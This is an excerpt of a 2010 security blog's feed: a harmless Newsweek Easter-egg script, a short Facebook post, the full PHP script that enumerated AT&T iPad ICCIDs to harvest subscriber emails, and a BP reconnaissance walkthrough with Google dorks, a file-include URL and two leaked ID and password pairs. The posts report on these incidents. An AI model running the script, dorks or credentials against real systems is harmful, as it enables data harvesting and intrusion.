			<content:encoded><![CDATA[<p><a href="http://ptn-images.s3.amazonaws.com/zombie1.jpg"><img src="http://ptn-images.s3.amazonaws.com/zombie1-150x150.jpg" alt="" title="zombie1" width="150" height="150" class="alignleft size-thumbnail wp-image-4202" /></a></p>

<p>Newsweek.com becomes the latest in a <a href="http://konamicodesites.com/">long list of sites</a> that will reveal an Easter egg if you enter the Konami Code (↑, ↑, ↓, ↓, ←, →, ←, →, B, A, enter) correctly. The Konami Code is a cheat code that appeared in <a href="http://en.wikipedia.org/wiki/List_of_Konami_code_games">many of Konami&#8217;s video games</a>, starting in around 1986 (my favorite places to use it were Contra and Life Force, 30 lives FTW). Ostensibly this is probably something that was included by a developer unbeknownst to the powers that be at Newsweek, similar to an incident that happened <a href="http://praetorianprefect.com/archives/2009/04/now-i-will-believe-that-there-are-unicorns/">at ESPN involving unicorns</a> last year.
<br /><br /><br /><br /></p>

<p><div id="attachment_4205" class="wp-caption alignnone" style="width: 706px"><a href="http://ptn-images.s3.amazonaws.com/konami_newsweek.jpg"><img src="http://ptn-images.s3.amazonaws.com/konami_newsweek.jpg" alt="" title="konami_newsweek" width="696" height="832" class="size-full wp-image-4205" /></a><p class="wp-caption-text">Enter Konami code, be warned of Zombie attack.</p></div>
<br /></p>

<p>Buried in a file of other Javascript libraries used by the Newsweek site is the <a href="http://code.google.com/p/konami-js/">Konami Javascript library</a> code written by <a href="http://www.georgemandis.com/">George Mandis</a>. Within <u>http://www.newsweek.com/etc/designs/newsweek/lib.js</u> is the following Javascript, which looks for the keyboard pattern (↑, ↑, ↓, ↓, ←, →, ←, →, B, A, enter) and replaces content on the page when successful as shown:</p>

<pre><code><br />/*
    * Konami-JS ~
    * Modified variable names and obscured (March 31st, 2010), but otherwise intact
    * :: Now with support for touch events and multiple instances for 
    * :: situations that call for multiple easter eggs!
    * Code: http://konami-js.googlecode.com/
    * Examples: http://www.snaptortoise.com/konami-js
    * Copyright (c) 2009 George Mandis (georgemandis.com, snaptortoise.com)
    * Version: 1.2 (1/30/2010)
    * Licensed under the GNU General Public License v3
    * http://www.gnu.org/copyleft/gpl.html
    * Tested in: Safari 4, Firefox 3, IE7 and Mobile Safari 2.2.1
*/

var AdDebug = function() {
    var adDebug= {
            addEvent:function ( obj, type, fn, ref_obj )
            {
                if (obj.addEventListener)
                    obj.addEventListener( type, fn, false );
                else if (obj.attachEvent)
                {
                    // IE
                    obj["e"+type+fn] = fn;
                    obj[type+fn] = function() { obj["e"+type+fn]( window.event,ref_obj ); }

                    obj.attachEvent( "on"+type, obj[type+fn] );
                }
            },
            input:"",
            pattern:"3838404037393739666513",
            load: function(link) {  

                this.addEvent(document,"keydown", function(e,ref_obj) {                                         
                    if (ref_obj) adDebug = ref_obj; // IE
                    adDebug.input+= e ? e.keyCode : event.keyCode;
                if (adDebug.input.indexOf(adDebug.pattern) != -1) {
                    adDebug.code(link);
                    adDebug.input="";
                    return;
                    }
                },this);
            this.iphone.load(link)

                },
            code: function(link) { window.location=link},
            iphone:{
                    start_x:0,
                    start_y:0,
                    stop_x:0,
                    stop_y:0,
                    tap:false,
                    capture:false,
                    keys:["UP","UP","DOWN","DOWN","LEFT","RIGHT","LEFT","RIGHT","TAP","TAP","TAP"],
                    code: function(link) { window.location=link},
                    load: function(link){
                            adDebug.addEvent(document,"touchmove",function(e){
                              if(e.touches.length == 1 &amp;&amp; adDebug.iphone.capture==true){ 
                                var touch = e.touches[0]; 
                                    adDebug.iphone.stop_x = touch.pageX;
                                    adDebug.iphone.stop_y = touch.pageY;
                                    adDebug.iphone.tap = false; 
                                    adDebug.iphone.capture=false;
                                    adDebug.iphone.check_direction();
                                    }
                                    });               
                            adDebug.addEvent(document,"touchend",function(evt){
                                    if (adDebug.iphone.tap==true) adDebug.iphone.check_direction();           
                                    },false);
                            adDebug.addEvent(document,"touchstart", function(evt){
                                    adDebug.iphone.start_x = evt.changedTouches[0].pageX
                                    adDebug.iphone.start_y = evt.changedTouches[0].pageY
                                    adDebug.iphone.tap = true
                                    adDebug.iphone.capture = true
                                    });               
                                    },
                    check_direction: function(){
                            x_magnitude = Math.abs(this.start_x-this.stop_x)
                            y_magnitude = Math.abs(this.start_y-this.stop_y)
                            x = ((this.start_x-this.stop_x) &lt; 0) ? "RIGHT" : "LEFT";
                            y = ((this.start_y-this.stop_y) &lt; 0) ? "DOWN" : "UP";
                            result = (x_magnitude &gt; y_magnitude) ? x : y;
                            result = (this.tap==true) ? "TAP" : result;                     
                            if (result==this.keys[0]) this.keys = this.keys.slice(1,this.keys.length)
                            if (this.keys.length==0) this.code(this.link)
                            }
                    }
    }

    return adDebug;
}

var adDebugContent = function(){
    function render() {
        $("a").attr("href", "#");

        // FEATURE
        var feature = '&lt;article class="feature-area feature-style-wide"&gt;&lt;div class="feature-content"&gt;&lt;header&gt;&lt;span class="byline" property="dc:creator"&gt;MIKE ROBINSON&lt;/span&gt;&lt;h1 class="header header-60"&gt;&lt;a href="#"&gt;ZOMBIES ATTACK!&lt;/a&gt;&lt;/h1&gt;&lt;span class="subhead"&gt;Run for the hills!&lt;/span&gt;&lt;/header&gt;&lt;p&gt;The undead have risen from their graves and invaded large portions of the east coast. Driven only by an unsatiable desire for brains, there seems to be no stopping their ruthless push forward. Residents are advised to barricade themselves in their homes and wait for further instructions. Under no circumstances should the walking dead be allowed in your house.&lt;/p&gt;&lt;/div&gt;'
        $(".feature").html(feature);

        // NEWSWEEK NOW
        $(".newsweek-now .par").html("");
        var nowHtml = "";
        var nowTemplate = '&lt;div class="newsweeknow section"&gt;&lt;article class="stream-item" class="stream-item article-item"&gt;&lt;h2 class="header" property="dc:title"&gt;&lt;a href="#"&gt;${title}&lt;/a&gt;&lt;/h2&gt;&lt;div class="grid-5"&gt;&lt;p class="text" property="dc:abstract"&gt;${description}&lt;a rel="dcterm:source" href="#" class="more"&gt;More &lt;span class="guillemets"&gt;&amp;rsaquo;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;aside class="grid-2 last"&gt;&lt;a href="/search.html?q=tea+party" class="primary-tag" title="Primary Tag" property="dc:subject ctag:label foaf:primaryTopic" typeof="ctag:Tag" resource="/content/newsweek/tag/politics.html" rel="ctag:means"&gt;Zombies&lt;/a&gt;&lt;span class="byline"&gt;by &lt;span class="author"&gt;&lt;a typeof="foaf:person" property="dc:creator" rel="foaf:publications"&gt;${author}&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;time property="dc:created" pubdate="true" datetime="2010-06-11"&gt;Jun 11, 2010&lt;/time&gt;&lt;/aside&gt;&lt;/article&gt;&lt;/div&gt;';

        for(var i = 0; i &lt; content.now.length; i++){
            var template = nowTemplate;
            var item = content.now[i];

            template = template.replace("${title}", item.title);
            template = template.replace("${description}", item.description);
            template = template.replace("${author}", item.author);

            nowHtml += template;
        }
        $(".newsweek-now .par").html(nowHtml);

        // SPECTRUM
        $(".spectrum h2").html(content.spectrum.title);
        $(".spectrum a").attr("href", "#");
        var spectrumItems = $(".spectrum ul.sidebar-content li");
        var j = 0;
        for(var i = 0; i &lt; spectrumItems.length; i++){
            var element = spectrumItems[i];

            if(j &lt; content.spectrum.viewpoints.length){
                var item = content.spectrum.viewpoints[j];

                $(element).find("h3 a").text(item.title);
                $(element).find("q a").html(item.quote);
                $(element).find("span.source").text(item.source);
                $(element).find("cite.publication").hide();
                j++;
            } else {
                $(".spectrum ul.sidebar-content li").eq(i).remove();
            }
        }
    }

    var content = {
        "now":[
            {
                "title":"The Zombie Invasion Timeline",
                "description":"It was just three months ago that patient zero, a former British citizen living in New York, was identified as the cause of the zombie invasion. While initially considered to be a bad sinus infection, the disease quickly spread after Patient Zero ate the brains of a attending neurosurgeon.",
                "author":"Steven Stone"
            },
            {
                "title":"Fleeing the Zombie Horde: What Are Our Options?",
                "description":"With goverment barricades falling and traditional warfare tactics deemed ineffective, the local populace must now consider the option of fleeing as viable and advised. There are many options depending on an individuals geographical location, however most zombie experts expressly advise against running for the hills without proper preparation. One must take into consideration the hazardous effects natural elements such as rain and cold weather can have, especially in cold winter months.",
                "author":"Dan Alcalde"

            },
            {
                "title":"No End in Sight for Undead Feast",
                "description":"The haunted continue to walk the streets, often heard moaning 'BRAAAAAIIIIIINS!' [paraphrased]. With their unstoppable quest for human brains the undead have shown no signs in slowing down their pursuit or consumption of our most precious organs. A noted chef suggests, 'While zombies will eat any organ, they most definitely have a preference for our soft cranial tissue. It is easily digestible, and once the tough outer skull is removed quite simple to recover.'",
                "author":"Roberto Gonzalez"
            },
            {
                "title":"Go For the Head",
                "description":"Several close combat experts have reiterated how important it is to strike a zombie directly in the head with a large blunt weapon. Only by smashing their brains can you be certain the approaching undead will not rise again and feast on your exposed limbs.",
                "author":"Nicole Barth"
            },
            {
                "title":"Zombies and You",
                "description":"Not everybody reacts the same to the undead. If you, or a loved one, has encountered a zombie please share your experiences in the comments.",
                "author":"Monica Parra"
            }

        ],
        "spectrum":{
            "title":"Zombie Invasion Continues Unabated",
            "viewpoints":[
                {
                    "title":"SUSPICIOUS",
                    "quote":"I don't see how every barricade could fail unless the government meant to let them through.",
                    "source":"Tim Knight"
                },
                {
                    "title":"DECISIVE",
                    "quote":"If we can't be protected then we'll just protect ourselves!",
                    "source":"Mike Robinson"
                },
                {
                    "title":"FLEEING",
                    "quote":"Save yourselves, run now",
                    "source":"Mark Catalano"
                },
                {
                    "title":"HUNGRY",
                    "quote":"Braaaaaains. Braains brains braaaaaaaaains...",
                    "source":"Dan Alcalde"
                },
                {
                    "title":"BITTEN",
                    "quote":"Wow those things bite hard. Oh, I feel funny...",
                    "source":"Andrew Sprouse"
                }
            ]
        }

    }

    return {
        render: render
    } 
}();

</code></pre>

<h3>Finally</h3>

<p>In the case where this happened on ESPN the results were mostly harmless. As explained by developer Keith Lam, the incident <a href="http://keithlam.com/2009/04/28/espncom-unicorns/">was a prank</a>, not an indication that someone hacked into the site (the developer was canned though). It will be interesting to see if Newsweek&#8217;s amusing defacement is the same situation.</p>

<p>If so, the only downside to the ESPN unicorns was that it exposed that there is little control over the production environment at ESPN, it was fairly easily for a developer to sneak something into production without anyone knowing about it. Unicorns are funny, a disgruntled person could come up with things to show on the web site that aren&#8217;t so funny.</p>

<p>But in both cases, these are harmless jokes, so no harm no foul for the most part.</p>

<h3>Update &#8211; 6/15/10</h3>

<p>According to a Newsweek spokesperson it was an internal developer: &#8220;It&#8217;s true that our programmers had a bit of fun and hid the Konami Easter egg in the site. It does not affect the rest of the site&#8217;s functionality. Now that we&#8217;ve all had a laugh, we will be removing it.&#8221;</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/going-after-bp/">Going After BP</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/congressional-web-site-defacements-follow-the-state-of-the-union/">Congressional Web Site Defacements Follow the State of the Union</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/umm-techcrunch-defacement-two-in-24-hours/">Umm&#8230;TechCrunch? Defacement Two in 24 Hours</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/techcrunched-techcrunch-the-victim-of-a-defacement/">TechCrunched &#8211; TechCrunch the Victim of a Defacement</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/baidu-com-the-latest-victim-of-iranian-cyberarmy/">Baidu.com the Latest Victim of Iranian CyberArmy</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/newsweek-reports-zombie-invasion/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Zuckerburg Apologizes for Facebook Privacy Changes</title>
		<link>http://praetorianprefect.com/archives/2010/06/zuckerburg-apologizes-for-facebook-privacy-changes/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/zuckerburg-apologizes-for-facebook-privacy-changes/#comments</comments>
		<pubDate>Fri, 11 Jun 2010 21:32:39 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Technology in Society]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[WTF]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4185</guid>
		<description><![CDATA[A video recently went up where Facebook CEO Mark Zuckerberg took the time to apologize to Facebook's users for the multiple recent confusing and "open by default" changes to Facebook's privacy settings.]]></description>
			<content:encoded><![CDATA[<p>A video recently went up where Facebook CEO Mark Zuckerberg took the time to apologize to Facebook&#8217;s users for the multiple recent confusing and &#8220;open by default&#8221; changes to Facebook&#8217;s privacy settings.</p>

<p><object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/O6nBhhnnuOM&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/O6nBhhnnuOM&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"></embed></object></p>

<p>I feel better now.</p>

<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/facebook.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/facebook-150x150.jpg" alt="" title="facebook" width="150" height="150" class="alignnone size-thumbnail wp-image-4194" /></a>
<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /></p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/04/give-this-man-a-haircut-and-support-a-worthwhile-cause/">Give this Man a Haircut and Support a Worthwhile Cause</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/james-lipton-says-dont-tweet-your-junk/">James Lipton says &#8220;Don&#8217;t tweet your junk&#8221;</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/10/lojack-for-children/">LoJack for children</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/10/yahoo-and-the-objectification-of-women/">Yahoo! and the Objectification of Women</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/zuckerburg-apologizes-for-facebook-privacy-changes/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>114,000 iPad Owners: The Script that Harvested Their E-mail Addresses</title>
		<link>http://praetorianprefect.com/archives/2010/06/114000-ipad-owners-the-script-that-harvested-their-e-mail-addresses/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/114000-ipad-owners-the-script-that-harvested-their-e-mail-addresses/#comments</comments>
		<pubDate>Thu, 10 Jun 2010 02:33:19 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[enumeration]]></category>
		<category><![CDATA[AT&T]]></category>
		<category><![CDATA[iPad]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4100</guid>
		<description><![CDATA[Here is the script referenced in the <a href="http://gawker.com/5559346/">Gawker story from earlier</a> that describes how a number of early iPad 3G subscribers, including names like Harvey Weinstein, Michael Bloomberg, Diane Sawyer, and Rahm Emanuel had their e-mails revealed via a poorly designed web application hosted by AT&#38;T.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/ipad.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/ipad-150x150.jpg" alt="" title="ipad" width="150" height="150" class="alignleft size-thumbnail wp-image-4121" /></a></p>

<p>Here is the script referenced in the <a href="http://gawker.com/5559346/">Gawker story from earlier</a> that describes how a number of early iPad 3G subscribers, including names like Harvey Weinstein, Michael Bloomberg, Diane Sawyer, and Rahm Emanuel had their e-mails revealed via a poorly designed web application hosted by AT&amp;T.</p>

<p>Goatse Security, named for the famous Internet shock image, wrote the script to harvest e-mail addresses by providing ICC-ID numbers (integrated circuit card identifier, a number that associates a SIM card with a subscriber) and parsing the returned e-mail address. 
<br /><br /><br /></p>

<p><div id="attachment_4114" class="wp-caption aligncenter" style="width: 510px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/500x_ileakinside3.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/500x_ileakinside3.jpg" alt="" title="500x_ileakinside3" width="500" height="73" class="size-full wp-image-4114" /></a><p class="wp-caption-text">High profile users from the list of harvested e-mail addresses.</p></div>
<br /></p>

<p>After speaking with Goatse Security member Weev, he was kind enough to share the script:</p>

<pre><code><br />&lt;?php

// iPad 3G Account Slurper
//
// Usage: ./ipadump.php ICCID-base count
// (The script generates the final checkdigit to produce ICCIDs from the entered base)

$useragent="Mozilla/5.0 (iPad)"; //Spoof as iPad
$ICCIDroot = $_SERVER['argv'][1]; 
$ICCIDcount = $_SERVER['argv'][2];

function genluhn($number){ //Crappy home-made Luhn checkdigit generator
    $i = strlen($number)-1;
    do {
        $array[] = $number[$i];
        $i--;
    } while ($i &gt; -1);
    $i = 0;
    foreach ($array as $digit) {
        if (!($i &amp; 1)){
            $digit = $digit * 2;
            if ($digit &gt;= 10) {
                $digit = $digit - 9;
            }
        }
        $total += $digit;
        $i++;
    }
$luhn = 10 - ($total % 10);
if ($luhn == 10) $luhn=0;
return $luhn;
}


while (1) { //Continue FOREVER

    $ch = curl_init(); //Set up cURL
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); //Since theres a lot of redirection
    curl_setopt($ch, CURLOPT_COOKIEJAR, "cookies"); //See later
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //Returns any and all data
    $ICCID = $ICCIDroot.genluhn(strval($ICCIDroot)); //Generate checkdigit and attach it to 
the ICCID
    curl_setopt($ch, CURLOPT_URL, "https://dcp2.att.com/OEPClient/openPage?ICCID=".strval($ICCID)."&amp;IMEI=0");
    $output = curl_exec($ch); //Load first page with ICCID
    curl_setopt($ch, CURLOPT_URL, "https://dcp2.att.com/OEPClient/Customer");
    $output = curl_exec($ch); //Now load page that is normally redirected with JavaScript. 
cURL is nice and passes the previously GET'd info
    curl_close($ch); 
    //print $output; //Prints HTML result

    if (!($counter % 50)) echo "-".strval($ICCID)."-\n"; //Prints ICCID every 50 counts just 
to keep track of how far the script has gotten

    //Parse output. Terribly sloppy
    if (preg_match("/&lt;title&gt;Error&lt;\/title&gt;/", $output, $match)) {
        preg_match("/&lt;div class=\"info-container\"&gt;(.*)&lt;br&gt;(.*)&lt;br&gt;/msU", $output, 
$match);
        $match[0] = preg_replace("/&lt;div class=\"info-container\"&gt;\n\s\s+/","",$match[0]);
        $match[0] = preg_replace("/&lt;\/b&gt;&lt;br&gt;/", "&lt;\/b&gt; &lt;br&gt;", $match[0]); //Because I 
want space between the period and the next sentence, dammit
        $errnum = strip_tags($match[0]);
        $status = "Error! ".$errnum; //Return specific error message
    } else if (preg_match("&lt;input id=\"email\" name=\"email\" type=\"email\" 
placeholder=\"Required\" value=\".*\@.*\" autocapitalization=\"off\" autocorrect=\"off\"&gt;", 
$output, $match)) {
        $match[0] = preg_replace("/input id=\"email\" name=\"email\" type=\"email\" 
placeholder=\"Required\" value=\"/","",$match[0]);
        $status = preg_replace("/\" autocapitalization=\"off\" autocorrect=\"off\"/", "", 
$match[0]); //Return email address
    } else {
        $status = "Inactive"; //Assume SIM is inactive if nothing tells us otherwise. Bad 
logic, will fix.
    }

    if ($status != "Inactive") echo strval($ICCID)." : ".$status."\n"; //Print ICCID with error 
message or email address. Can print if ICCID is inactive, but it makes for a long, redundant log.
    if ($counter == $ICCIDcount) exit;
    $ICCIDroot++; //step ICCID
    $counter++; //step loop counter
}
?&gt;
</code></pre>

<p>There are probably a few things worth pointing out. They had to set the user-agent string to be the iPad as shown:</p>

<pre><code>$useragent="Mozilla/5.0 (iPad)";
</code></pre>

<p>The vulnerable URL at att.com was:</p>

<pre><code>https://dcp2.att.com/OEPClient/openPage?ICCID=Insert number here&amp;IMEI=0
</code></pre>

<p>And that&#8217;s it, an e-mail address gets returned in the successful iterations (active ICCID) and parsed. There&#8217;s no hack, no infiltration, and no breach, just a really poorly designed web application that returns e-mail address when ICCID is passed to it.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2009/12/shodan-cracking-ip-surveillance-dvr/">SHODAN: Cracking IP Surveillance DVR</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/11/youve-been-shodand/">You&#8217;ve been SHODAN&#8217;d</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/114000-ipad-owners-the-script-that-harvested-their-e-mail-addresses/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
		<item>
		<title>Going After BP</title>
		<link>http://praetorianprefect.com/archives/2010/06/going-after-bp/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/going-after-bp/#comments</comments>
		<pubDate>Wed, 09 Jun 2010 20:43:09 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Web Site Defacement]]></category>
		<category><![CDATA[brute forcing]]></category>
		<category><![CDATA[hacktivism]]></category>
		<category><![CDATA[remote file inclusion]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[vpn]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=4050</guid>
		<description><![CDATA[BP continues to be the subject of criticism following the Deepwater Horizon oil spill, and the hacking community appears to be taking exception to some of BP's recent public relations activities in the online arena.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bp.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bp-150x150.jpg" alt="" title="bp" width="150" height="150" class="alignleft size-thumbnail wp-image-4055" /></a></p>

<p>BP continues to be the subject of criticism following the Deepwater Horizon oil spill, and the hacking community appears to be taking exception to some of BP&#8217;s recent public relations activities in the online arena. Specifically, reactions to BP&#8217;s having bought the sponsored link for the search term &#8216;oil spill&#8217; seems to have triggered resentment in the form of both reconnaissance work, a Twitter account compromise, and an amusing cross site scripting vulnerability.</p>

<p>In the Reddit case, the method shown and gotchas demonstrated are worth covering, although no actual hack takes place. The XSS demonstrated at the bottom of the post is just creative and funny.</p>

<h3>Twitter</h3>

<p>As widely reported, on May 27th, BP&#8217;s official Twitter account was compromised and the following tweet put up.</p>

<p><div id="attachment_4062" class="wp-caption alignnone" style="width: 558px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bp-twitter-hacked.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bp-twitter-hacked.jpg" alt="" title="bp-twitter-hacked" width="548" height="417" class="size-full wp-image-4062" /></a><p class="wp-caption-text">Pick a stronger password.</p></div>
<br /></p>

<p>And while it&#8217;s not a hack, the spoof Twitter account <a href="http://www.twitter.com/BPGlobalPR">BPGlobalPR</a> has garnered some attention (150k followers) as a satirical response to BP&#8217;s actual public relations response. It has gotten enough attention that the real BP has made overtures to the fake account to <a href="http://newsfeed.time.com/2010/06/09/bp-gets-bpglobalpr-to-clean-up-its-twitter/">better identify itself as a parody</a>.</p>

<h3>Reddit</h3>

<p>Last night on Reddit a user skipperdee responded to a post about the BP sponsored link <a href="http://www.reddit.com/r/politics/comments/ccuc1/if_bp_wants_to_waste_their_money_buying_key_words/">as follows</a>:</p>

<p><div id="attachment_4059" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/h08EB2.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/h08EB2.png" alt="" title="h08EB" width="750" height="526" class="size-full wp-image-4059" /></a><p class="wp-caption-text">Reconnaissance</p></div>
<br /></p>

<p>Let&#8217;s walk through his suggestions:</p>

<h4>VPN Login Screen</h4>

<p>Looking at what&#8217;s here, he found what is ostensibly a VPN login screen for some extranet type applications: https://access.bpglobal.com/bp/C/login.html?_targetURL=https://access.bpglobal.com/pkmslogin.form (with what looks like an open redirect).</p>

<p>Down tick one for information security is that it offers only certificate based authentication or alternatively login with a plain id and password.</p>

<p><div id="attachment_4056" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/IDAM_login.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/IDAM_login.jpg" alt="" title="IDAM_login" width="750" height="360" class="size-full wp-image-4056" /></a><p class="wp-caption-text">https://access.bpglobal.com/help/bpcertExpired.html</p></div>
<br /></p>

<p>A review of this screen (above) however seems to indicate that the user&#8217;s windows login (active directory) is the same as their IDAM login, by referencing the phrase NT ID and password.</p>

<h4>User Names</h4>

<p>Our Reddit user goes on to show off a little Google hacking by demonstrating how to find out the user names of BP employees:</p>

<p><a href="http://www.google.com/#hl=en&amp;q=%22Documents+And+Settings%22+site%3Abp.com&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&amp;fp=dfdf66882bd03aae">http://www.google.com/#hl=en&amp;q=%22Documents+And+Settings%22+site%3Abp.com&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&amp;fp=dfdf66882bd03aae</a>.</p>

<p><div id="attachment_4067" class="wp-caption alignnone" style="width: 646px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_mydocs.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_mydocs.jpg" alt="" title="bp_mydocs" width="636" height="111" class="size-full wp-image-4067" /></a><p class="wp-caption-text">Username equals Warna3.</p></div>
<br /></p>

<p>Because a number of BP employees use the built in MS Word footer option for file name and path, their user names have been exposed in publicly released documents. Now that a number of usernames can be enumerated, with a brute force password cracker its off to the races for an attacker.</p>

<h4>Documents</h4>

<p>He then goes on to demonstrate that publicly available sites have a sub-directory /STAGING which appears to show semi-public documents (releases to the press, investor releases, etc.).</p>

<p><a href="http://www.google.com/#q=site:bp.com+inurl:staging+%222010%22&amp;hl=en&amp;start=0&amp;sa=N&amp;fp=dfdf66882bd03aae">http://www.google.com/#q=site:bp.com+inurl:staging+%222010%22&amp;hl=en&amp;start=0&amp;sa=N&amp;fp=dfdf66882bd03aae</a></p>

<p>It&#8217;s unclear that anything unusual is publicly exposed here. One document is marked official use only which shows the oil spill projections, however that&#8217;s a lot like saying something is under copyright but still releasable. Another is marked &#8220;Project Confidential&#8221; but it&#8217;s unclear if it left that classification when added to the /STAGING site.</p>

<p><div id="attachment_4086" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_situationmap.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_situationmap.jpg" alt="" title="bp_situationmap" width="750" height="579" class="size-full wp-image-4086" /></a><p class="wp-caption-text">Situation Map.</p></div>
<br /></p>

<p>Like a lot of large companies, there&#8217;s probably more online than should be, but it doesn&#8217;t appear /STAGING has any special significance as an intranet type site. I will confess, this is my favorite document, <a href="http://docs.google.com/viewer?a=v&amp;q=cache:O4zm5Oi8orsJ:www.bp.com/liveassets/bp_internet/globalbp/STAGING/global_assets/downloads/H/horizon_magazine_issue_2_april_2008.pdf+site:bp.com+inurl:staging+%222010%22+confidential&amp;hl=en&amp;gl=us&amp;pid=bl&amp;srcid=ADGEESj2qEnWcCOF8SWSE5Ikgv1JZDNi2DCJMt93uwf0BsHNct0gjaJcG0ymZucQ0kPIP5GbvWPemQ_7Y2Ddb76Ibx9-SU2hJfKB2wxvy-IXZAEhzJXqhWSKavmJCLcSAvBPxlUSw5EL&amp;sig=AHIEtbSyg7hGwgwf5flxBZmau3Amuc-x_A">the April 2008 company magazine</a>:</p>

<p><div id="attachment_4087" class="wp-caption alignnone" style="width: 495px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_horizon.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_horizon.jpg" alt="" title="bp_horizon" width="485" height="649" class="size-full wp-image-4087" /></a><p class="wp-caption-text">BP Horizon: The Battle to Secure Company Data.</p></div>
<br /></p>

<h4>Some Passwords</h4>

<p>There are two old passwords in two of the files, a form and a newsletter, both are for ibackup.com access which like other document sharing sites has a public folder concept. Given their age, there probably isn&#8217;t much of an issue here, however password re-use inside organizations is quite common.</p>

<p>ID: bproadmap<br />
PW: safety<br />
<a href="http://www.bp.com/liveassets/bp_internet/bp_canada_noel/bp_canada_noel_english/STAGING/local_assets/downloads_pdfs/j/journey_hazard_assessment_card_2009_02_18.pdf">journey_hazard_assessment_card_2009_02_18.pdf</a></p>

<p>ID: bpshipping02<br /> 
PW: flag01<br />
<a href="http://docs.google.com/viewer?a=v&amp;q=cache:6nzmWJJpB3kJ:www.bp.com/liveassets/bp_internet/bp_shipping/bp_shipping_english/STAGING/local_assets/downloads_pdfs/f/Flag_29_May_2008.pdf+site:bp.com+inurl:staging+password&amp;hl=en&amp;gl=us&amp;pid=bl&amp;srcid=ADGEESieFMPdmCO_hNW2MSA4pu7K_bGkmXjhna1KtQNEWiMcdfmOrm658QSkwKVIfO5rFFkOWkFPe8kq9ZssmL_XQ8K4Hdbkm409NGT_A0c0yVynORfFiqQLXNNTgaArMHygEpG9KCix&amp;sig=AHIEtbT7TxhK88zxrqpdVTepx1Z8nH_lhA">Flag_29_May_2008.pdf</a></p>

<p>In the case of the second id, it certainly looks to be the kind of id and password that gets incremented for different things (bpshipping01, bpshipping03, flag02).</p>

<h3>PHP File Include and XSS</h3>

<p>Finally, the Reddit commenter points out the energizer.gp.com URL as one that appears to be a web application with a few issues including potentially a PHP remote file include or arbitrary file access:</p>

<p>http://energiser.bp.com/help.php?module=moodle&amp;file=insert file here</p>

<p>The site appears to use Moodle, a popular CMS platform, thus something else that can be looked at. However <a href="http://www.xssed.com/mirror/67152/">holisticinfosec got there first</a> and best with an XSS based iFrame injection:</p>

